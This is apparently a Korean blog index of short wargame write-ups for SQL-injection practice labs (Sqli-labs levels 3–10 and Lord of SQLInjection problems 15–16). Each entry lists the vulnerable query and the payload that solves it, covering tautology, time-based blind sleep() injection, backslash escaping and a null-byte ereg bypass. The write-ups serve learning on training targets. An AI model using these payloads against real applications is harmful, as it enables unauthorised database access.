본문 바로가기

웹 해킹84

Less9, 10-GET-Blind-Time based ?id=1" and if(1=1, sleep(10), null) --%20 sleep(10)을 넣어서 True/False를 구분한다.if ( 조건문, 참일때 값, 거짓일때 값) 2019. 3. 4.
Less8-GET-Blind-Boolean Based-Single Quotes $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";?id=' or 1=1 --%20 2019. 3. 4.
Less7-GET-Dump into outfile-String $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";?id=')) or 1=1 --%20?id=')) or (('1'='1 2019. 3. 4.
Less6-GET-Double Injection-Double Quotes-String $id = '"'.$id.'"';$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";?id=" or "1"="1 2019. 3. 4.
Less-5-GET-Double Injection-Single Quotes-String $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";?id=' or 1=1 --%20 2019. 3. 4.
Less4-GET-Error based-Double Quotes-String $id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";?id=") or 1=1 --%20 ?id=") or "1"=("1 2019. 3. 4.
Less3-Error based-Single quotes with twist-string $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";?id=') or 1=1 --%20?id=') or '1'=('1 2019. 3. 4.
los 16번-답 참고! query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?>이전 문제는 ereg로 ' 을 확인해서 %00으로 우회할 수 있었지만 이번에는 preg_match로 확인을 한다! '이 붙는 것을 \'이 되게끔 만들어서 문자열의 '으로 인식되게 한다! ?id=\&pw=or 1=1 --%20query : select id from prob_succubus where id='\' and pw='or 1=1 -- ' 2018. 6. 29.
los 15번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("zombie_assassin"); highlight_file(__FILE__); ?>id와 pw 모두\\ prob _ . () 가 들어가면 안된다ereg->그리고 ' 이 들어가면 안된다! ereg와 eregi 함수를 우회할 수 있는 방법이 있다.ereg, eregi는 %00까지만 체크하므로 우회가능! ?id=admin&pw=%00'||id='admin query : select id from prob_zombie_assassin where id='admin' and pw=''||id='admin' 2018. 6. 29.